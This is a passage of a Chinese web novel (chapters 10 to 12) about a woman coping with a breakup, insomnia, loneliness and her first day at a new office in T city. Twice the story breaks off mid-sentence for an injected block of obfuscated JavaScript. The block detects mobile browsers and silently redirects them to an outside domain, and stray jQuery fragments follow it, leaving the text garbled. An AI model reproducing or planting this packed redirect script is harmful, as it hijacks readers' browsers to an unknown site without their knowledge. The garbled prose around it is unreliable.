我花了五分钟阅读推文,得出一个结论:失恋之后,尽量不要一个人待着。那会让你感觉自己被整个世界所抛弃。让忙碌填充你的生活,让兴趣爱好占满你的时间,让自己没有任何胡思乱想的空间。
早餐端了上来,喝下第一口咖啡,在这一刻,我觉得自己的人生也没有那么失败。至少,我还能买得起二十八块钱的早午餐,虽然是刷信用卡。
至于丢了的钱,尽管已经报了警,可我已经不抱任何希望。
吃完早午餐,心情好了一点。一路从这条街上逛过去,漫无目的,像一只游魂。我在化妆品柜台撸了个全妆,在镜子里看到元气满满的自己,我长长地呼出了一口气。
BA从开始不停推荐到后面漫不经心地糊弄,大概认定了我就是个白嫖的客人。直到我问粉底液价格的时候,她黑如锅底的脸色才好转了一点。
原先我只会暗骂这些BA势利眼,可现在我竟然会想,要不是生活所迫,谁愿意周末站在这伺候一个不能给自己带来任何价值的“潜在”顾客。现实就是每个人都要赚钱吃饭。
我掏出信用卡又买了一瓶粉底液,脸上扯出了笑,心里不停骂自己:明明只是想去蹭个妆,又因为面子多花了钱。
路上行人的笑容看上去灿烂刺眼,我不知道他们为什么看上去都那么开心。一对年轻夫妻牵着一个三四岁的小男孩,小孩蹦蹦跳跳地拉着爸爸妈妈,叽叽喳喳说个不停。妈妈摸了摸他的头发,然后爸爸把小男孩举到了自己的肩膀上骑着,左手扶着孩子,右手自然地牵住了妈妈。
T市好像是个幸福城,生活在这里的每一个人都没有烦恼,除了我。
10. 第 10 章
傍晚时分,我回到了住处,刚倒在沙发上就听到一声怪叫:“六点啦,六点啦。”
差点忘记了把这破钟处理掉!
从餐厅搬了把椅子,把钟从墙上取下来,没想到这钟还挺沉的,差点没接稳。
我抱着钟找垃圾站,费了很大劲,忍不住吐槽自己蠢——应该找到垃圾站再出来扔啊。
转了两圈都没找到,我想干脆放弃算了,先把钟拎回家。刚转身,走过来一对母女,年轻的妈妈拎着两个黑袋子,旁边的小姑娘也晃晃悠悠拎着一个白色的小塑料袋,头上的小揪揪跟着塑料袋一个频率晃动。
我赶紧追上去问:“不好意思问一下,你们是去扔垃圾吗?”
小姑娘点点头,奶声奶气地问:“阿姨,你也去扔垃圾吗?”
“对。我要把这个钟扔了。”
年轻的妈妈看了一眼,“哎?这钟还挺贵的,坏了挺可惜的。”
“就是因为没坏,一报时就有鸟飞出来,怪吓人的,才想着扔掉。”
小姑娘的眼睛噌一下亮了,“阿姨,你是说这个小房子里会有小鸟飞出来吗?”
我点点头。
“那现在小鸟怎么不出来呢?”
小姑娘大概四五岁,睁着圆乎乎的大眼睛,好奇地拿手指戳了一下小房子。
“还没到时间呀。”年轻妈妈无奈地看了自己闺女一眼,“咱们赶紧去扔垃圾吧,还要回去做饭呢。”
小姑娘一步三回头,嘴里嘀嘀咕咕:“那个钟,阿姨不要了哇……妈妈,妈妈,小房子里还有只小鸟呢。我们把它带回家好不好?”
“我们家里有钟了。”她妈妈犹豫了一下,“妮妮,乖,咱们不要。”
小姑娘歪着头想了一会儿,噔噔噔跑向我,指着钟问我:“阿姨,可以用我家的钟跟你换吗?”
我楞了一下,摇摇头,小姑娘非常失望,委屈巴巴地说:“你都不要它了……”
“不用换。送给你吧。”
小姑娘马上兴奋起来,她像只快乐的小鸟一样跑回去,“妈妈,妈妈,阿姨要把钟送给我。”
年轻妈妈不为所动,小姑娘拉住妈妈的衣角,恳求道:“妈妈,妈妈,把小鸟带回去吧。我会很乖的,会很听话,在幼儿园会拿小红花。”
年轻妈妈像是拗不过,转身走过来跟我商量:“要不这样吧,我拿我家的钟跟你换。”
我慌忙摇摇头,“不用了。这个钟我本来就不要了。”
她为难地说:“我们家也没那么多地方挂钟,要是你不愿意换,那我们只能不要这个钟了。”
小姑娘一听马上用殷切恳求的眼神望着我:“阿姨,换嘛,换嘛。”
还能怎么办呢?我只得答应。
她们就住在隔壁楼,跟我的住处相比,布置得温馨且童趣。
我用那只避之不及的钟换回了一个简约的钟,它不会报时,只有轻微的声响,默默自己记录时间的流逝。除了不太喜欢它的颜色——太过鲜艳明亮的向日葵黄色,总体还不错。
临走的时候,听见小姑娘在问:“妈妈,妈妈,小鸟怎么还不飞出来?过一会儿它真的会出来吗?我要不要跟它打招呼呢?”
我之砒霜,他人之熊掌。大概就是这样吧。
昨晚没睡好,今早又折腾了一圈,回到家把钟挂回原处之后,我已经精疲力竭。索性早早就上了床。今晚好好睡一觉,周一早起化个妆,大概还是能见人的吧。
和钱一起消失的还有曾经的好睡眠。它不知道去了哪儿,也许对别人来说,沾到枕头就睡着是夸张。但以前,那就是我的日常。
我和肖平刚住到一起的时候,经常是我迷迷糊糊地摸着床倒下,上一秒还跟他说着话,下一秒已经没了回应。
我的睡眠好到什么程度呢?某个周五的晚上,我们前一秒在讨论明天去哪里玩儿,肖平躺在床上,头枕着胳膊畅想:“冉冉,明天我们去垦宁公园野餐怎么样?现在天气暖和又没那么热,不然去露营也不错……你说呢?”一转头,发现我已经开始流口水了,他拍了照,第二天拿着照片嘲笑了我一顿。
而现在,我从仰卧到向左侧卧,再到向右侧卧,甚至趴着,寻找能让自己入睡的各种可能姿势。我执著地否定自己会失眠,可所有的尝试对我来说都是徒劳,别说数绵羊,就算把羊圈都数破了,我也依然清醒着。
明明还是同一个我,但我的睡眠,已经背弃了我。
我揽紧被子,把自己埋进去,裹成一个茧。
14岁那年,我曾经有一次入睡困难,源于青春期的敏感脆弱。究竟是因为考试考砸了还是和好朋友闹矛盾,现在已经想不起来了。只记得我也是像这样把自己整个裹进被子里,什么都不想,几个小时后迷迷糊糊睡了过去。
这一次没有奏效。凌晨十二点了,我依然睡意全无,脑子里乱哄哄的,兵荒马乱。
松开被子,翻身起来,茫然地呆坐在床上。
整个空间安静得让我窒息。没有钟摆走动的声音,时间像是默片一帧一帧过去,我烦躁地在床上诅咒这不受控制的睡眠,就像我不受控制的人生。
继续躺着也是浪费时间,我爬起来,在黑暗里刷手机。微博里没有什么新鲜事,既没有明星塌房,也没有狗血撕逼。我忍不住点开自己的关注列表,肖平没有取关我。点开他的头像,最新的一条还是:“又加班了,大概率没时间度假了。”
我嗤笑了一声,都这样了还不忘记凹勤奋人设。
我知道,我知道,我应该把他完全从人生中清理出去。可我就是想知道,他离开我之后过得不好,很凄惨,没有人爱他。但他的生活,好像停在了我们发生龃龉之前——没有新欢,有的只是不得不在工作和生活中做所谓的平衡。
翻看下面的评论,无一不是在感叹打工人不易。只有一条评论有些不同,“巴厘岛有什么好去的。”头像是一只限量版的玩偶,直觉告诉我,这个可能是那个小三的微博。但点进去之后并没有什么异常。
要说异常,也不是完全没有——那姑娘一直在晒国外的度假酒店、瑞士滑雪场、豪华跑车、巨大的室内游泳池、高端下午茶,看起来是名媛。半年前新注册的账号,没有一张自己的照片。虽然不知道是真名媛还是网红,但手里应该是有不少钱,那看不上巴厘岛也说得通。
她点赞评论并不频繁,有一条很早之前的评论:“再不给项目进度,就该出局了。”下面肖平回了个委屈的表情。
我突然想起来,大概半年前,肖平接了个大项目,说是做好了就能升职加薪。他经常半夜的时候接到电话,说是一个女客户,吹毛求疵,要求很高。大概就是她了吧。
关掉微博,开始刷微信朋友圈。
其实,我已经很少刷朋友圈了,实在是太无聊了。一如既往的岁月静好,内容不是加了低饱和度滤镜的自拍,就是无病呻吟的鸡汤感悟——所有人都在不动声色地炫耀自己的生活;就算是难过和愤怒,也都经过了加工,显得不痛不痒。
肖平的朋友圈停留在三天前。那条动态只有两个字,“累了”,配图是桌子上散乱的文件夹,昏黄的台灯下摆着杯子,影子投在书桌上,一派萧索的氛围。
寥寥的几条评论,大多都是让他保重身体,别太拼之类的。
唯独有一条评论,让我心惊对方的敏感度,“你和小冉还好吧?你们要是Be了,那我的校园青春时代可就真的终结了。”
这显然是我们的共同好友,应该还是同学,但我想不起来她是谁。
我开始翻看通讯录,很多人自从毕业后就没再联系过,甚至连长相都变得模糊不清。我对照着名字开始回忆,但很困难。微信名和真名毫不搭界,我只能依稀对上几个。
直到翻到“许逸晨”——她用了真名——出现在通讯录接近最后的位置。
巨大的空虚攫住了我,我努力回想,跟她上一次联系是什么时候,是两年半前还是三年前?我已经记不清了。可明明,以前的我们,曾经那么要好……从什么时候开始,又是为了什么,我们不再联系呢?
读大学的时候,宿舍十一点整点熄灯,但没有人准点睡觉。没有熬夜卧谈的大学生活是不完整的。躺在被子里,轻轻地喊一声:“许逸晨,你睡了吗?”总是有回应的。
现在呢,尽管
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672114|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
熬夜也是家常便饭,但我却再也没有人可以聊天。
看了眼手机,已经一点了。
明天,哦,不,今天上午要不要给她打个电话?
可是,跟她能说什么呢?我失恋了,为了不失业,调岗来了T市。然后呢?我们曾经是无话不谈的好朋友,可这一切都在她结婚生了孩子之后戛然而止。
许逸晨跟我不一样,她从小就争强好胜,唯一的一次哭鼻子是因为期中考试考了第二名。我们从小镇一起考出来,她大学四年每年都拿奖学金,她的理想一直都是成为女高管。
我们的就业选择都在S市,我是因为肖平在S市找到了工作,她是因为S市机会多。她一开始就选择了业务部门,年年业绩第一,一路杀进了中层管理。愿望似乎对她来说唾手可得。我以为她会一直留在S市,没想到她转头去了T市,带一个全新部门。宁当鸡头不当凤尾,她一贯是这样的。
她跟我说她要结婚了的时候,我以为自己听错了。她又冲着我说了一次,没有兴奋,没有喜悦,像是通知“明天早上临时加了个会”一样。我当时不能理解,结婚不是最值得开心的事情吗?相爱的人从那一刻开始命运相连,无论贫穷富有,还是疾病健康,都牢牢地将彼此系在一起。
她结婚时,我是伴娘,包了一个大红包给她,跟她说希望她永远幸福。
其实,在那一刻不仅是羡慕她,甚至有些嫉妒——她轻而易举地获得了我梦寐以求的生活。
生孩子对她来说可能是仅次于结婚的意外。
她忙着养孩子,在工作和家庭之间努力维持平衡。每次我找她,她说不了两句话,就要去哄孩子;一直持续的聚会也因为要照顾孩子和工作总是缺席,她有的时候会不经意地说“真羡慕你……”,我有什么好羡慕的?一事无成,浑浑噩噩。
再后来,我们渐行渐远,没了联系。
你看,多神奇。命运就是这样,一心一意想要结婚的女孩子失恋了,而心心念念搞事业的女孩子当了妈,它才不管我们是怎么想的。
突然有些发慌,如果命运喜欢跟我们对着来的话,我是不是从今天起就不应该再想着自己要嫁出去这件事?或者,我应该想着升职加薪走上人生巅峰,那它可能会突然给我杀个回马枪,让我遇到真命天子迅速结婚。
可是,往往越是命令自己不要想什么,什么就在脑子里来回打转,我仿佛已经看见了自己孤独终老的凄惨境况。
这些念头在脑子里盘旋不去。必须要做些什么事情来转移注意力。
翻出在咖啡馆里读的那篇公众号文章,我又重新读了一遍。
“治疗失恋的最大阻碍是勇气,有勇气承认那个人不再爱你,有勇气抛开过往向前走,有勇气去面对全新的未知的可能性。而一个新的爱好,或许它只是被你遗忘的过往,能够帮助你。现在,你该把它捡起来,可以是向曾经的自己告别,也可以是回归。”
没错,我要让自己忙起来。
鸡汤可能没有什么实操指导性,但只要能够适时抚慰人心,也就够了。
可是我实在不知道该干什么,就去搜了搜人类都是如何抵抗孤独的。有人说要多出去社交,多结交朋友。作为一个如假包换的I人,主动社交对我来说,简直比登月还难。如果这是唯一的排解方法,还不如让我孤独终老算了。还有人说可以养猫养狗,毛孩子带来的陪伴能治愈人生,可是狗每天都要遛,猫会掉得满地都是毛……我现在的情况,能养活自己都已经算是治愈系了。
或许,可以培养个什么兴趣爱好?小时候我妈倒是送我去过少儿宫:学写毛笔字弄得到处都是墨汁,我妈不让去了;学画画老师让坐着画苹果,太无聊了;学了两天芭蕾舞,拉筋太疼了,在家哭了两天不肯再去……细想起来,我对这些才艺类的都不感兴趣。也不知道追剧能不能算兴趣爱好。
如果硬要说兴趣爱好的话,美食大概算是一个吧。除了许逸晨之外,大概没有人记得,我在高中之前都是个如假包换的小胖妹。我热衷于吃各种美食,尤其嗜甜。
叹了口气,发现自己的人生如此乏味无趣之后,我陷入了更深的悲伤中。
11. 第 11 章
这张新床终于大发慈悲考虑接纳我,接近凌晨三点我终于有了朦胧的睡意。它像是若有似无的晨间雾一样,尽管看不清面目,却实实在在笼罩充斥着整个空间。我甚至都不敢发出一丁点喟叹感慨,生怕惊走了它。
再次醒过来,太阳已经升到了半空。我维持着蜷缩的姿态,裹在被子里的我浑身是汗,粘腻得很。即便如此,我依然赖在床上,回味这得来不易的睡眠。
大概已经中午了吧?
拿起手机看了一眼,我揉了揉眼睛,怀疑自己没有睡醒——怎么可能才八点?!喃喃自语:“再睡一会儿,再睡一会。”可睡眠有它自己的主意,坚决将我驱逐出境。我一边打着哈欠,一边痛苦地清醒着。身体渴望睡眠,脑子却异常清醒。
跟枕头被子的新一轮较劲,没有新意,失败告终。
我怨恨地望着镜子里那个憔悴的女人,狠狠地把牙刷塞进嘴里,毫不在意泡沫掉得到处都是。即使如此,还是有一股不受控制的怒气缓缓累积——“倒霉”排着队来向我派发传单,毫不在意我的抗拒,啪的一下把传单拍在我的脑门上。
“你在家干嘛呢?”孟猛的电话不合时宜,他神清气爽的声音让我的火气蹭蹭往上冒——显然他睡了个好觉。
“努力想要睡个好觉。”我觉得自己的声音里都透着疲惫。
“欸?你没睡好?现在这个时节不是最好睡的时候吗?”
烦躁!这就好像学霸雄赳赳气昂昂地向学渣炫耀,拿第一是一件多么容易的事情,而且他还完全不能理解为什么学渣学不好!
我没吭声。
“想不想出去逛逛?你对T市不熟,我可以给你当向导。”
“不了,谢谢。”
他在电话里喋喋不休地热情推荐T市的各种景点:动物园、植物园、森林公园、 千年的银杏,百年的迎客松……甚至还有专门看鹿和松鼠的园区。
我按住突突直跳的太阳穴,用尽全力制止自己挂掉电话的冲动,从牙缝里挤出几个字:“我不想去。”
电话那头愣了一下,在我以为他终于要放弃的时候,他欢快地说:“你不喜欢大自然的话,我可以带你去看人文景观。我们T市的博物馆和园林都享有盛名……”
“孟猛,谢谢你的好意。但我哪儿都不想去。”
“也对。你昨天才长途跋涉,还是好好休息。下周再出去逛。”
他甚至善解人意地给我找了个借口。
我想,他的人生应该异常顺遂,不像我的,满目疮痍。
还没感慨完毕,他一句“你不会在家还想明天开会的提案内容吧”,瞬间让我从萎靡不振到两眼瞪大。
!!!
明天要开会!!!孟猛说过什么来着?我在脑海里把会议当作关键词进行检索,然而只有零星的信息飘了出来,“分工”、“头脑风暴”、“创意”……还有什么?!想不起来了,可这些信息就足够让我坐立难安了。
尽管知道我应该立刻认真重温知识,可我提不起任何精神。我倒在被子上,学习这件事情已经离我太远了。我都快想不起来自己上一次翻开书是什么时候了。
努力回想,关于市场营销我还记得什么,可除了4P原则之外,我的脑子里一片空白。更让我恐慌的是,我想不起来4P是哪4P,Price,Product, Promotion,还有一个是什么来着?像一个害怕明天被抽查作业的学生一样,我开始用手机翻看早已经忘记到爪哇国的知识。查到的时候,我如释重负地呼出了一口气,仿佛这样就能顺利度过明天的考核。
当年教市场营销的老师姓包,据说是业界有名的大佬。她曾在课堂说,你们在课上不好好听,出去了再想上我的课,都要花大价钱的。当时不以为意,后来无意间看到她在S市开讲座,票价过万,瞬间我觉得学生时期好好听课是赚大发了。但也仅限于此,我从来没想过会靠这个专业谋生。
包老师大概会感觉悲哀,当年耳提面命盯着我们好好学,进入社会也不知道同学里还有多少人最终做市场工作。
对同学聚会我一直不屑一顾,刚毕业那会儿忙着找工作,找到工作了忙着把自己丢进大熔炉内锤炼,生怕自己被辞退——那大概是除了高三之外,我最用功的一年——再加上聚会地点每次都不在S市,对于千里迢迢去跟一堆人吹牛,我没有一点兴趣。每天见面的时代,大家都只是彼此认识而已,通过几次聚会就能积攒出深厚的感情?我是不信的。或许等到七老八十再聚在一起,能萌生出对自己青葱岁月的怀念。刚毕业能缅怀什么呢?难道缅怀谁翘课被老师抓了,还是缅怀谁挂科了补考?
许逸晨倒是去过一次,她说,聚会上不是讨论谁升职了就是谁赚了多少钱,讨论住什么房子开什么车子,甚至炫耀自己的另一半。好像出了社会,大家自然而然就套进了成人的躯壳,用世俗的标准来衡量价值。
“也不能说有错,除了这些之外,也没有别的什么能衡量各人的价值了。不过就是没意思。”许逸晨露出一个厌恶的表情,我猜可能吹嘘和浮夸也是聚会的一部分。
像我这种在工作上毫无建树的,就更加不想去了。去干什么呢?当作没混好的标杆还是作为成功人生的对照组呢?
肖平倒是一直积极让我去参加,他认为同学情谊是不可复制的资源,没准哪天就能用上。我对此嗤之以鼻。在这一点上,我们从未达成过一致,他认为我幼稚,我认为他世俗。
为什么又想到了这个负心汉!我呸了两下,把他从脑子里赶了出去。
许逸晨倒是一直做市场工作,我们还有联系的时候,她已经是利枫集团的市场部主管了。以她的能力,在外企待着升到经理并不是什么难事。可她在合同期满就义无反顾换城市换公司,新公司是国货彩妆公司,她说那里野蛮生长丛林法则,不用熬年限,也没有天花板,有能力就能崭露头角。
外企不过是按部就班慢一点,我不懂她为什么要跳去压力大远没有原公司舒服的地方。
我掏出手机,找到她的微信,却不知道该怎么重新建立起联系。
——“你最近还好吗?”虚伪且刻意。删掉。
——“我来了T市,有空见一面吗?”安冉然,你以为你是谁?删掉。
——“有个事情想请教你一下。”功利,没有人情味。删掉。
我叹了口气,把手机扔在一边。
看,我离群索居,自食其果。
我又用手机翻看了一些WH集团近几年的宣传物料,包括他们的公众号推文和媒体广告。然后,我不知道还应该看些什么。
工作不像读书,没有现成答案,也没有参考书;可是却时时刻刻面临着考试,能不能过关,看个人悟性,也看适配程度。
不能再继续待在房间里,在巨大的紧张里,我仓皇失措。空气挤压着空间,原本宽敞的卧室变得局促,床是一座孤岛。
可我能去哪里呢?在这座陌生的城市里,我小心翼翼地向外伸出触角,当初在露西面前的勇气荡然无存。开始懊恼,为什么要接受调派,S市那么大,重新找份工作能有多难?更让我懊恼的是,为什么拒绝孟猛的邀约,活生生的一个市场人,可能还是知无不言言无不尽的类型,我居然在几个小时前毫不犹豫地拒绝了。
我已经失去了向他发问的机会。与巨大的尴尬相比,放弃是我的舒适区。
我重新倒在了被子上。明天能不能请假?水土不服生病了,这个理由还说得过去吧?想起请病假需要三甲医院的医生证明——此刻,我痛恨自己对人事制度的了解;不然休年假?刚到新公司就休年假,大概一整年都会看领导脸色吧。
或许出去走一走,呼吸下新鲜空气,能有一些积极的想法,没准还会产生新的创意——我绝不是因为蠢笨,只是缺乏灵感。
我戴着墨镜出了门,开始在小区里绕圈子。
周末的午间时段,有些人还没睡醒,有些人在外面游玩,有些人在逛商场……不知道有多少人跟我一样,心事重重且无所事事。
小区并不算很大,住宅约莫只有二十栋左右。楼层也不算高,我仰头看了看,大概也就是十层或者十二层。居民大概都是有闲情雅致的那一类,几乎每一栋的一楼都像是小花园,这家种玫瑰蔷薇,那家种绣球插花,还有我完全叫不出名字的花花草草……这个时节好些开了花,颇有争奇斗艳、互相较劲的意思。小区的绿化带里是矮矮的冬青和松柏,夹杂着几株南天竹,随处可见的广玉兰、桂花树和腊梅,在不同季节应该都会闻见花香。此刻硬生生钻进鼻子里的是浓郁的栀子花香味。
沿着小径一直往前走,阳光在两侧郁郁葱葱的树叶缝隙里头透下来,周遭隐隐约约浮动着广玉兰的香气。整个小区似乎都陷在沉睡当中,没有一丝声响,静谧安详。烦躁不安的情绪渐渐被抚平。
道路的尽头有一栋红砖青瓦的四层建筑,掩映在树丛当中。我走了进去,居然是一个街道活动中心,一层和二层是图书借阅室,三层类似于活动中心课程班,墙上张贴着课程表,课程竟然还挺多:围棋、国画、书法、篆刻、摄影、街舞和古琴。最高层有手工活动室、舞蹈室和乒乓球活动室。
回到二楼,我在书架间游荡。原先对社区图
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672115|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
书馆的藏书不抱希望,可这里居然有市场营销类的书籍。我拿了两本,又从隔壁书架上找了本小说。在角落里找了个位置坐下来,翻开了那本《定位》。
事实证明,我还是高估了自己——旁边一个戴眼睛的大爷哗啦啦地翻动书籍,而我虽然直勾勾地盯着书,可书上的文字像莫名的符号一样四处漂浮,就是进不了脑子。
我把专业书往旁边一推,翻开了小说。但看了个开头就没了兴致,这种霸道总裁爱上我的俗套剧情居然还在市场流通,爱情就是一个巨大的骗局。我愤恨地合上书,却感觉眼角涩涩的。
徒劳无功,我叹了口气,终于还是走了出去。
小区已经逛无可逛,好在不用思考接下来怎么消磨时间——虽然睡眠不佳,但饥饿不约而至。
主街道上的商场里有不少餐馆,只是要走两条街。刚刚明明还不是很饿,现在却像有一把锉子在肠和胃里来回搅动,急需食物进入让它们开始工作流程。肚子间或发出咕噜声。我东张西望,看见马路斜对面有家面馆,小跑着冲了进去,无暇思考,点了店家推荐的招牌牛肉面。算不上好吃,但也不难吃。大概牛肉面做得难吃也很困难。
填饱了肚子之后,急躁的脏腑熨帖了,我沿着这条昨天错过的小街道慢慢逛了起来。
街道很短,但很热闹。这种热闹跟主街的不一样,两者气质泾渭分明,这里满是市井烟火气息。路口是几家小饭馆,依次是我刚刚光顾的面馆、一家小小的粥铺、烧烤店、潮汕牛肉火锅、炒菜的小饭馆,以一家包子铺收尾。一家小超市,大概是本土品牌,我在S市从没见过;一个文具店,再往后走,是一家水果店,品种倒是丰富,贵价和平民水果都有,丰俭由人;接下来是很小的一个门面,写着“体彩大□□”,它的隔壁是一家看上去有些年头的理发店,门口红蓝白三色柱转得人眼晕;接下来是打印店和鲜花店,街的末尾是几家简餐小饭馆。所有店铺都小小的,主打实用。
从头逛到尾,也不过十来分钟。
拐弯的路口有一家小店,摆满了八音盒。鬼使神差的,我走了进去。
初二过生日的时候,收到过一个八音盒。那一年,八音盒特别流行。后来,搬家的时候弄丢了。在那之后,我再也没有玩过八音盒。
只花了十分钟就买下了那个放在中间最华丽的双层八音盒。中间是一个穿着芭蕾舞裙单腿翘起的小人。我知道现在不应该乱花钱,可看着它,渴望快把我淹没;我把它揣进包里,一种熨帖安稳的情绪在胸口滋生。
这家店是这条街上的最后一家商铺。从十字路口望出去,前面的那条路上是居民区,除了路两边梧桐之外,空无一物。世俗的热闹在这里戛然而止。
把八音盒放在床头,盯着它发呆。台子上的芭蕾舞小人不知疲倦地转了一圈又一圈,我翻出了名片——我去主街闲逛时,路过了一家芭蕾舞培训教室,随手拿的宣传册,上面钉着名片——输入号码,搜索,出现了一个芭蕾舞经典动作的卡通女孩头像,微信名叫落落——申请添加好友,在发送时,我犹豫了。
以前都没有好好做的事情,现在凭什么认为自己能重新开始呢?
深深地呼气吐气,我对自己说:“安冉然,你要专注。”
然后,我开始专注地发呆。
我呆坐在床上,窗外的风吹得窗帘啪啪作响,外面树叶哗啦啦地摇动,是要下雨吗?要不要把窗户关上?脑子里转过念头,身体却不动弹。
理智告诉我,有很多事情应该去做——收拾箱子,整理包包,把极度有限的知识再重温一遍……但我提不起劲儿,兀自茫然地放空自己。
等我回过神来,已经快要九点了,尽管不饿,我还是点了个外卖。吃了很久,液体啪嗒砸在饭粒上,原本淡而无味的炒饭有了咸味——我摸了摸脸,才发现那是我的眼泪。
正如我慢热的性格,悲伤总是在愤怒之后才缓慢坚定地来袭。我在这一刻才幡然领悟,从始至终,只是我一个人的兵荒马乱。对于肖平来说,这只不过是针对女友系统的一次升级而已。
床像一望无际的大海,我像一艘没有帆的小船,漂漂荡荡,不知前路,亦不知归途。
盯着通讯录里许逸晨的头像,鬼使神差,我差点就按下了视频通话。
幸好,大脑比手快。
把手机扔在一边,天花板无限放大,除了白,还是白。白茫茫的一片。
蓦然脑子里一片空白,我是谁?我为什么在这里?
对于必然会到来的明天,我没有向往。只是茫然的、麻木的,随着日升月落,被裹挟着卷入其中……
12. 第 12 章
当我面对那些陌生的脸孔时,突然就慌了。
相较于总部办公室周一早晨稀稀拉拉的景象,T市的GT办公室完全是另一番面貌。除了几个去茶水间倒茶倒咖啡的,其他人坐在自己的工位上,有些埋头写着什么,还有敲击键盘的声响。
我走进办公室,局促地张望,看到孟猛才没那么紧张。
可惜,我放心得太早了。孟猛这个显眼包,看到我眼睛一亮,似乎在百无聊奈的周一早晨终于找到了要做的第一件事。
他大跨步走到我面前,拍了拍手,清了清嗓子,吸引了所有人的注意力。
“介绍下,这是总部调派来的同事。”然后他转向我,“欢迎她自我介绍。”
我结结巴巴地说了一句“大家好……我是安冉然”就卡壳了,秒回学生时代被点名的社死现场。
紧接着,他快速地介绍了一遍周围的同事。除了一个长相特别抢眼的妹子之外,我一个都没记住。幸好没有让我从头到尾再认一遍,否则我更加社死。
最后,他指着一个剪短头发画着淡妆的姑娘说:“这是我们的HR夏蕾,过会儿她会帮你办手续”。妹子白了他一眼,“孟猛,你干脆跟老板申请调来我们人事部算了。”转头,她给了我一个微笑,然后带着表面镇定内里慌张的我去办入职手续。
填了一堆表格,直到在合同上签了名字之后,我才感觉心安定了下来。
夏蕾很有亲和力,她把员工手册递给我,笑着说:“本来应该是要做新人培训的,但你对公司情况应该挺了解的,我就偷个懒。员工手册你先翻翻看,有什么不明白的随时找我。”
我内心仍然兵荒马乱,只是点点头,说了声谢谢。
“小妍会把电脑给你,已经走完申请流程了。”
她带我去工位,就在孟猛的隔壁。
九点一刻。我已经签完合同,坐在属于自己的工位,从小妍手里拿到新电脑。我隐约记得,上次入职时花了一整个上午。
我还在设置开机密码,有个人拎着笔记本电脑,从最后一排走了出来。
“麻烦问下,Wifi密码是多少?”
“GT20132983Su”他飞快地报出一组数字,“最后一个字母小写。”
我埋头开始输密码,“不好意思,9后面是什么?”
“83Su,u小写。”
我轻声嘀咕:“谁设的密码,这么长让人怎么记。”
孟猛一抬头,“老大!”
脑子像是被原子弹轰炸过一样,发出轰隆隆的声响,刚刚给我报WIFI密码的是我的新老板?!
周一早晨,十点前在办公室见到领导,在我的职业生涯是第一次见到。虽然孟猛说过,老板不喜欢别人迟到——露西也不喜欢别人迟到,但这丝毫不妨碍她自己迟到。在我的印象中,总部从来就没在十一点前开过晨会。
在我神游的间隙中,我听见一个低沉冷峻的声音:“看见我这么惊讶吗?”
“哪能啊。”孟猛嘿嘿笑了两声,成功拉低了整个公司的智商。
“业务组手头的工作放一放,二十分钟开个晨会。”他随手把电脑搁在面前的桌子上。
所有人都站了起来,我本以为是要去会议室,心想磨蹭一会儿,等大家都去了之后在后面找个不显眼的角落待着。没想到,所有人站着一动不动,看见周明凯瞥过来的眼神,我慌忙站了起来。
一组汇报工作大概用了五分钟,二组三分钟,三组听上去项目最少,两分钟不到就汇报完了。每个人发言基本上都遵循“客户、进度、推进的难点”这个范式汇报,节奏十分紧凑。周明凯只是听着,一言不发,全程盯着他的电脑。
“本周工作安排呢?”周明凯略微抬了下头,眼睛从屏幕上移开。
他们就像训练有素的士兵掐着秒表拆弹一样,空气里弥漫着紧张的气息,主要围绕“推进计划、需要的资源/支持”,汇报工作计划基本上不超过一分钟。即使像孟猛这样同时跟进四五个客户的,也十分言简意赅。
“大家知道,WH集团是接下来的工作重点。对于WH集团的合作和分工,我大概说一下。”
我以为他要开始令人昏昏欲睡的长篇大论,又一次出乎意料。他没有绕圈子,也没有任何铺垫,直奔主题。
“WH集团的年框合作要到10月份才会启动,但这不影响双方合作。这是一个trail order,新的营销案会以case by case的方式先走,这对于WH而言是一个宣传的窗口期。本次合作是个几十万的小case,也算是WH对我们的考察期。”
他扫视了下所有人,“这个案子一组跟进。孟猛暂时主导对接,安冉然协助执行,没问题吧?”
孟猛愣了下,“老大,刚刚汇报过了,我手上还有好几个客户要……”
周明凯看了他一眼,没说话,缓缓地把衬衫的袖子挽到小臂。低头看回电脑屏幕,快速地敲了几行字之后,直起身体:“有问题会后到我办公室聊。”
“新同事有问题吗?”周明凯望向我,他的目光锐利,像X射线一样有穿透性。我觉得自己脚底发凉,似乎在他的注视下,我的无知无所遁形。
我打了哆嗦,“没……没问题。”
怎么说呢,如果孟猛是斯文败类型,那周明凯则是那种浑身散发着那种从小接受良好教育的精英气质,浑身闪烁着“别人家孩子”的光芒。只不过这个别人家的孩子,有些冰冷。
最后,他总结了上周工作表现和本周重点工作之后,给了孟猛一个眼神。我明显看到孟猛打了个哆嗦,“需要带电脑吗?”
“随你。”周明凯恢复到惜字如金的状态。
二十分钟,不多不少。我看了下周围,大家似乎习以为常,例会开完就各自去忙了,只剩下我坐在工位上发呆。
孟猛是有点惨,但我却很是庆幸:执行,意味着只要把交代下来的任务做好就行,这应该没多难吧。
大概过了十分钟,孟猛出来了,他走到二组的办公区,跟个妹子说了几句。然后那个姑娘敲门进了老板办公室。孟猛站到我工位旁边,压低声音问:“你微信号多少?电话号码能加上吗?我加下你。”
我刚通过,就被火速拉到了一个小群里。
“家人们,谁懂啊?!我都没有任何心理准备,突然就成了WH项目Leader。”孟猛的头像是一匹大黑马的马头。
